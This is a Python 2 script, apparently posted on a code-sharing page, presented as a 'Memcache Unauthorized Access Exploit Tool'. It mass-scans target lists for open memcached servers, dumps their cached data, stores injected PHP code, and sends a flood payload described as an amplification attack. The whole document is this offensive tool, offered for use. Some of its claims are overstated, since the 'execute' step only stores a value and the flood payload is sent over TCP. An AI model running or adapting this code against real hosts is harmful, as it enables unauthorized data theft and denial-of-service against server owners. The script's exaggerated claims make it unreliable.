1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
|
import socket
import argparse
from threading import Thread, Lock
from Queue import Queue
class MemcacheExploit:
def __init__(self, timeout=5):
self.timeout = timeout
self.lock = Lock()
self.q = Queue()
def check_vulnerable(self, ip, port=11211):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(self.timeout)
s.connect((ip, port))
s.send("stats\r\n")
result = s.recv(1024)
s.close()
if "STAT version" in result:
with self.lock:
print("[+] Memcache Unauthorized: {}:{}".format(ip, port))
print("[*] Server Info:\n{}".format(result.strip()))
return True
except Exception as e:
pass
return False
def execute_command(self, ip, port, command):
"""通过Memcache执行系统命令(需要服务器配置不当)"""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(self.timeout)
s.connect((ip, port))
if command.startswith("php:"):
php_code = command[4:]
s.send("set injected 0 0 {}\r\n{}\r\n".format(len(php_code), php_code))
result = s.recv(1024)
if "STORED" in result:
print("[+] PHP code injected successfully")
s.close()
except Exception as e:
print("[-] Error executing command: {}".format(str(e)))
def dump_data(self, ip, port):
"""尝试转储Memcache中的数据"""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(self.timeout)
s.connect((ip, port))
s.send("stats items\r\n")
items = s.recv(4096)
s.send("stats slabs\r\n")
slabs = s.recv(4096)
s.send("stats cachedump 1 100\r\n")
dump = s.recv(8192)
s.close()
print("[*] Memcache Data Dump from {}:{}".format(ip, port))
print("\n[+] Items:\n{}".format(items))
print("\n[+] Slabs:\n{}".format(slabs))
print("\n[+] Cachedump:\n{}".format(dump))
except Exception as e:
print("[-] Error dumping data: {}".format(str(e)))
def flood_attack(self, ip, port, size=1024):
"""利用Memcache进行放大攻击测试"""
try:
payload = "\x00\x01\x00\x00\x00\x01\x00\x00gets a" + "a" * size + "\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(self.timeout)
s.connect((ip, port))
s.send(payload)
s.close()
print("[+] Flood payload sent to {}:{}".format(ip, port))
except Exception as e:
print("[-] Error in flood attack: {}".format(str(e)))
def worker(self):
while True:
ip, port, action = self.q.get()
try:
if action == "check":
self.check_vulnerable(ip, port)
elif action == "dump":
if self.check_vulnerable(ip, port):
self.dump_data(ip, port)
finally:
self.q.task_done()
def scan_range(self, targets, threads=10, action="check"):
for i in range(threads):
t = Thread(target=self.worker)
t.daemon = True
t.start()
for target in targets:
if ":" in target:
ip, port = target.split(":")
else:
ip, port = target, 11211
self.q.put((ip, int(port), action))
self.q.join()
def main():
parser = argparse.ArgumentParser(description="Memcache Unauthorized Access Exploit Tool")
parser.add_argument("-t", "--target", help="Target IP (e.g. 192.168.1.1 or 192.168.1.1:11211)")
parser.add_argument("-f", "--file", help="File containing target IPs (one per line)")
parser.add_argument("-p", "--port", type=int, default=11211, help="Memcache port (default: 11211)")
parser.add_argument("-a", "--action", choices=["check", "dump", "flood", "execute"], default="check",
help="Action to perform (default: check)")
parser.add_argument("-c", "--command", help="Command to execute (use with --action execute)")
parser.add_argument("-T", "--threads", type=int, default=10, help="Number of threads (default: 10)")
parser.add_argument("--timeout", type=int, default=5, help="Connection timeout (default: 5)")
args = parser.parse_args()
exploit = MemcacheExploit(args.timeout)
targets = []
if args.file:
with open(args.file) as f:
targets = [line.strip() for line in f if line.strip()]
elif args.target:
targets = [args.target]
else:
parser.print_help()
return
if args.action == "check":
exploit.scan_range(targets, args.threads, "check")
elif args.action == "dump":
exploit.scan_range(targets, args.threads, "dump")
elif args.action == "flood":
for target in targets:
ip = target.split(":")[0] if ":" in target else target
exploit.flood_attack(ip, args.port)
elif args.action == "execute" and args.command:
for target in targets:
ip = target.split(":")[0] if ":" in target else target
if exploit.check_vulnerable(ip, args.port):
exploit.execute_command(ip, args.port, args.command)
if __name__ == '__main__':
main()
|
联系我